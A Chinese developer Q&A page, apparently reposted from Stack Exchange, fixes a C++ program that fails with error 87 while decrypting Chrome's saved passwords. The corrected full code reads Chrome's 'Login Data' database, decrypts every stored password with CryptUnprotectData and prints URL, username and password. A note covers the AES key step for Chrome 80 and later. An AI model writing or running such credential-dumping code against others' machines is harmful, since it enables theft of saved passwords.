You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

C++解密Chrome已保存密码出现ERROR_INVALID_PARAMETER错误87如何解决

错误原因及修复方案

导致错误码87(无效参数)的核心问题有2处:

  • 解密输入的长度参数非法:你将加密数据的实际长度手动+1后传给CryptUnprotectData,该接口要求输入长度与加密数据的实际字节数完全一致,额外增加的长度会被判定为无效参数。
  • 加密数据读取方式错误:password_value是SQLite的BLOB二进制字段,使用sqlite3_column_text读取会自动截断非ASCII字符,导致传给解密接口的输入数据本身不完整。

其他需要修正的潜在问题:

  • 解密后输出的内存需要主动调用LocalFree释放,否则会造成内存泄漏
  • 直接在out.pbData[out.cbData]位置写入0属于越界操作,会破坏堆内存结构
  • SQL查询中不需要单独计算length(password_value),可以直接通过sqlite3_column_bytes获取BLOB字段的实际长度

修正后完整代码

#include <windows.h>
#include <sqlite3.h>
#include <iostream>
#include <string>
#pragma comment(lib, "crypt32")

std::string uncryptData(BYTE* password, int size)
{
    DATA_BLOB in;
    DATA_BLOB out;

    in.pbData = password;
    in.cbData = size; // 修正:使用原始长度,不额外+1
    if (CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out))
    {
        // 修正:复制解密内容到std::string管理内存,避免越界和泄漏
        std::string result(reinterpret_cast<char*>(out.pbData), out.cbData);
        LocalFree(out.pbData); // 释放系统分配的内存
        return result;
    }
    else {
        std::cout << "error: " << GetLastError() << "\n";
    }
    return "Error";
}

void printPassword(sqlite3_stmt* stmt)
{
    std::string url = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
    std::string login = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
    
    if (!login.empty())
    {
        // 修正:用sqlite3_column_blob读二进制,sqlite3_column_bytes拿长度
        BYTE* pwdBlob = reinterpret_cast<BYTE*>(sqlite3_column_blob(stmt, 2));
        int pwdLen = sqlite3_column_bytes(stmt, 2);
        std::string password = uncryptData(pwdBlob, pwdLen);
        std::cout << url << ":" << login << ":" << password << "\n";
    }
}

void findPasswordTable(sqlite3* db)
{
    int i = 0;
    sqlite3_stmt* stmt;

    std::cout << "Database open\n";
    // 修正:去掉length(password_value)查询项,直接取password_value的长度
    const char* query = "SELECT origin_url, username_value, password_value FROM logins";
    if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK)
    {
        while (sqlite3_step(stmt) == SQLITE_ROW)
        {
            printPassword(stmt);
            i++;
        }
    }
    else {
        std::cout << "Error compiling query\n";
    }
    sqlite3_finalize(stmt);
    sqlite3_close(db);
}

int main() {
    sqlite3* db;
    std::string dbPath = "C:/Users/*user*/Desktop/New folder/Login Data";
    if (sqlite3_open(dbPath.c_str(), &db) == SQLITE_OK) {
        findPasswordTable(db);
    }
    else {
        std::cout << "Error opening database";
    }
    return 0;
}

补充说明

如果是Chrome 80及以上版本,保存的密码会先用AES-256-GCM加密,密钥用CryptUnprotectData加密后存在Local State文件中,需要先解密拿到AES密钥再解密password_value字段,上述代码仅适用于Chrome 80以下版本的密码解密。

内容的提问来源于stack exchange,提问作者aralph48

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.13 14:51:02